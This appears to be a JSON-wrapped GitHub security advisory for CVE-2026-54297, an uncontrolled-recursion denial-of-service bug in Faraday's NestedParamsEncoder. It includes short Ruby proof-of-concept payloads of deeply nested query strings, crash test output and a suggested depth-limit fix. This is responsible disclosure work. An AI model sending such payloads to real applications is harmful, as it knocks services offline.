{"id":"CVE-2026-54297","title":"Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters","summary":"Faraday: Uncontrolled recursion in NestedParamsEncoder allows stack exhaustion DoS via deeply nested query parameters","severity":"high","cvss":7.5,"cwe":["CWE-674"],"vendor":"faraday","product":"faraday","affected":["faraday <= 2.14.2"],"patched":["faraday 2.14.3"],"published":"2026-06-19","updated":"2026-06-19","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-98m9-hrrm-r99r","references":[{"url":"https://github.com/lostisland/faraday/security/advisories/GHSA-98m9-hrrm-r99r"},{"url":"https://github.com/advisories/GHSA-98m9-hrrm-r99r"}],"tags":["ghsa","rubygems"],"ingestedAt":"2026-06-22T15:52:21.046Z","epss":0.00757,"epssPercentile":0.5326,"ecosystem":"rubygems","slug":"CVE-2026-54297","body":"## Overview\n\n# Uncontrolled Recursion in NestedParamsEncoder Allows Stack Exhaustion DoS via Deeply Nested Query Parameters\n\n## Summary\n\n`Faraday::NestedParamsEncoder`, the default nested query parameter encoder/decoder in Faraday, decodes nested query strings without enforcing a maximum nesting depth.\n\nA crafted query string such as:\n\n```text\na[x][x][x][x]...[x]=1\n```\n\ncauses Faraday to build a deeply nested Ruby `Hash` structure. The internal `dehash` routine then recursively walks this attacker-controlled structure without a depth limit. At sufficient depth, Ruby raises an uncaught `SystemStackError` (`stack level too deep`), crashing the calling thread or worker.\n\nThis can lead to denial of service in applications that pass attacker-controlled query strings to Faraday's nested query parsing or URL-building paths.\n\n## Affected Product\n\n- Product: Faraday\n- Repository: https://github.com/lostisland/faraday\n- Tested version: `v2.14.2-2-g59334e0`\n- Tested commit: `59334e0e9b19`\n- Ruby version: `ruby 3.2.3`\n- Tested component: `Faraday::NestedParamsEncoder` / `Faraday::Utils.parse_nested_query`\n- Date tested: `2026-05-24`\n\n## Vulnerability Type\n\n- Denial of Service\n- Uncontrolled Recursion\n- Stack Exhaustion\n\n## Preconditions\n\nAn application must pass attacker-controlled or attacker-influenced query strings to one of Faraday's nested parameter parsing/building paths.\n\nConfirmed reachable paths include:\n\n1. Direct use of the public utility:\n\n```ruby\nFaraday::Utils.parse_nested_query(untrusted_query_string)\n```\n\n2. Normal Faraday request URL building:\n\n```ruby\nconn = Faraday.new('https://api.example.com')\nconn.build_url(\"/search?#{untrusted_query_string}\")\n```\n\nIn the second case, the crash occurs during URL construction before any network request is sent.\n\n## Impact\n\nA relatively small query string can trigger a `SystemStackError` and crash the calling Ruby thread or worker.\n\nIn my local test environment, a payload of approximately 9.4 KB was sufficient:\n\n```text\ndepth=3119\nbytes=9360\nresult=SystemStackError\nmessage=\"stack level too deep\"\n```\n\nRepeated requests with such payloads may cause a denial of service against applications whose request path forwards, parses, or rebuilds attacker-controlled query strings through Faraday.\n\nThis issue does not provide remote code execution, authentication bypass, or data disclosure. The confirmed impact is availability loss.\n\n## Technical Details\n\nFaraday supports nested query parameters such as:\n\n```text\nuser[name]=alice&user[roles][]=admin\n```\n\nwhich are decoded into nested Ruby structures.\n\nHowever, Faraday also accepts arbitrarily deep nesting such as:\n\n```text\na[x][x][x][x][x][x]...[x]=1\n```\n\nThis creates a deeply nested structure similar to:\n\n```ruby\n{\n  \"a\" => {\n    \"x\" => {\n      \"x\" => {\n        \"x\" => {\n          \"x\" => ...\n        }\n      }\n    }\n  }\n}\n```\n\nThe recursive `dehash` routine then walks the structure without a maximum depth check.\n\nAffected file:\n\n```text\nlib/faraday/encoders/nested_params_encoder.rb\n```\n\nRelevant logic:\n\n```ruby\ndef dehash(hash, depth)\n  hash.each do |key, value|\n    hash[key] = dehash(value, depth + 1) if value.is_a?(Hash)\n  end\n  # ...\nend\n```\n\nAlthough the function accepts a `depth` argument, the value is not used to enforce a maximum depth. Therefore, recursion depth is fully controlled by the input query string.\n\n## Proof of Concept\n\n### PoC 1: Direct parser crash\n\n```ruby\nrequire 'faraday'\n\npayload = \"a#{'[x]' * 3119}=1\"\nFaraday::Utils.parse_nested_query(payload)\n```\n\nObserved result:\n\n```text\nSystemStackError: stack level too deep\n```\n\n### PoC 2: Normal URL-building crash\n\n```ruby\nrequire 'faraday'\n\nconn = Faraday.new('https://api.example.com')\npayload = \"/search?a#{'[x]' * 3500}=1\"\nconn.build_url(payload)\n```\n\nObserved result:\n\n```text\nSystemStackError\n```\n\nNo network request is required; the crash occurs during URL construction.\n\n## Local Reproduction Results\n\nThe issue was reproduced locally against Faraday commit `59334e0e9b19`.\n\nEnvironment:\n\n```text\nruby 3.2.3\nfaraday v2.14.2-2-g59334e0\ncommit 59334e0e9b19\n```\n\n### Full PoC result\n\n```text\n== (A) DEEP nesting -> dehash recursion / stack exhaustion ==\n  depth=100      parse=0.0003s  OK\n  depth=1000     parse=0.0034s  OK\n  depth=5000     *** SystemStackError (stack overflow DoS): SystemStackError\n  depth=20000    *** SystemStackError (stack overflow DoS): SystemStackError\n  depth=100000   *** SystemStackError (stack overflow DoS): SystemStackError\n\n== (B) WIDE numeric keys -> dehash sort + numeric-key scan per level ==\n  N=1000     parse=0.0093s\n  N=10000    parse=0.1053s\n  N=50000    parse=0.4992s\n  N=100000   parse=1.1242s\n\n== (C) MANY array pushes a[]&a[]&... ==\n  N=1000     parse=0.0048s\n  N=10000    parse=0.0614s\n  N=50000    parse=0.2915s\n  N=100000   parse=0.5403s\n```\n\n### Minimal depth test\n\n```text\ndepth=100 bytes=303 result=OK\ndepth=1000 bytes=3003 result=OK\ndepth=2500 bytes=7503 result=OK\ndepth=3000 bytes=9003 result=OK\ndepth=3119 bytes=9360 result=SystemStackError message=\"stack level too deep\"\ndepth=3500 bytes=10503 result=SystemStackError message=\"stack level too deep\"\ndepth=5000 bytes=15003 result=SystemStackError message=\"stack level too deep\"\n```\n\n### URL-building test\n\n```text\nbuild_url depth=100 bytes=311 result=OK\nbuild_url depth=1000 bytes=3011 result=OK\nbuild_url depth=3500 bytes=10511 result=SystemStackError\nbuild_url depth=8000 bytes=24011 result=SystemStackError\n```\n\nThese results confirm that both direct parsing and normal Faraday URL construction can trigger the stack exhaustion condition.\n\n## Expected Behavior\n\nFaraday should reject excessively deep nested query parameters with a controlled and rescuable exception.\n\nFor example, behavior similar to Rack's parameter depth limit would prevent stack exhaustion:\n\n```text\nFaraday::Error: Exceeded the maximum allowed nested parameter depth\n```\n\n## Actual Behavior\n\nFaraday recursively processes attacker-controlled nesting depth and eventually raises:\n\n```text\nSystemStackError: stack level too deep\n```\n\nThis exception indicates stack exhaustion and can crash the calling worker/thread.\n\n## Suggested Fix\n\nAdd a configurable maximum nesting depth to `Faraday::NestedParamsEncoder`, similar to Rack's `param_depth_limit`.\n\nSuggested behavior:\n\n- Set a default maximum depth, for example `100`.\n- Reject keys whose subkey chain exceeds the maximum depth.\n- Raise a normal `Faraday::Error` or another controlled exception rather than allowing Ruby stack exhaustion.\n\nExample patch concept:\n\n```ruby\nmodule Faraday\n  module NestedParamsEncoder\n    class << self\n      attr_accessor :sort_params, :array_indices, :param_depth_limit\n    end\n\n    @param_depth_limit = 100\n  end\nend\n```\n\nThen in `decode_pair`:\n\n```ruby\nsubkeys = key.scan(SUBKEYS_REGEX)\nif param_depth_limit && subkeys.length > param_depth_limit\n  raise Faraday::Error, \"Exceeded the maximum allowed nested parameter depth of #{param_depth_limit}\"\nend\n```\n\nA local patch implementing this approach was tested. With the patch applied:\n\n- The crash payloads raise a controlled `Faraday::Error` instead of `SystemStackError`.\n- Normal nested query parsing still works.\n- Existing encoder/utils tests passed in the local test set:\n\n```text\n42 examples, 0 failures\n```\n\n## Security Policy Fit\n\nFaraday's `SECURITY.md` states that the `2.x` branch is supported for security updates and that vulnerabilities should be reported privately.\n\nThis issue was reproduced on the current tested `2.x` codebase:\n\n```text\nv2.14.2-2-g59334e0\ncommit 59334e0e9b19\n```\n\nThe report is intended for private disclosure through GitHub Security Advisories and should not be opened as a public issue before maintainer triage.\n\n## Related Public Discussions / Duplicate Check\n\nI searched the public issue tracker, pull requests, changelog, and GitHub Advisory Database for similar reports using terms including:\n\n```text\nNestedParamsEncoder\nparse_nested_query\nSystemStackError\nstack level too deep\nparam_depth_limit\nnested parameter depth\nUncontrolled recursion\nCWE-674\ndehash depth\nparse_nested_query depth\n```\n\nI did not find a public report or fix for this specific `NestedParamsEncoder` depth-limit / `SystemStackError` denial-of-service issue.\n\nThe closest unrelated public items I found were:\n\n- `lostisland/faraday#1107` — `Infinite recursion (SystemStackError) on load when running with -rdebug with breakpoints`\n  - This appears unrelated to nested query parameter parsing and `Faraday::NestedParamsEncoder`.\n- `GHSA-33mh-2634-fwr2` / `CVE-2026-25765`\n  - This concerns a protocol-relative URL / host override issue and does not address nested query parameter recursion or depth limiting.\n\nRepo-local checks also found no existing `param_depth_limit` or equivalent mitigation in `lib/faraday/encoders/nested_params_encoder.rb`.\n\n## Severity\n\nSuggested severity: **Medium**\n\nRationale:\n\n- The attack can be triggered over the network in applications that pass attacker-controlled query strings into Faraday's parsing/building paths.\n- The payload is small enough to be practical, approximately 9.4 KB in the local reproduction.\n- No authentication or user interaction is required in affected application patterns.\n- The confirmed impact is availability only.\n\nBecause Faraday is a library, the exact severity depends on how an application exposes the affected parsing/building path to attacker-controlled input. If the maintainers prefer conservative scoring for library reachability, the availability impact could be adjusted accordingly.\n\n## Notes\n\nThis report does not claim remote code execution, authentication bypass, or information disclosure.\n\nThe confirmed issue is an uncontrolled-recursion denial of service condition caused by missing nesting-depth enforcement in Faraday's nested parameter decoder.\n\nNo third-party live services were tested. Reproduction was performed only in a local lab environment.\n\n## Reporter\n\nReported by: Emre Koca\n\nPlease let me know if you need additional reproduction details, logs, or a patch proposal.\n\n## Affected packages\n\n- `faraday <= 2.14.2`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `faraday 2.14.3`","depth":"twilight","depthScore":41,"depthScoreParts":{"impact":41.3,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}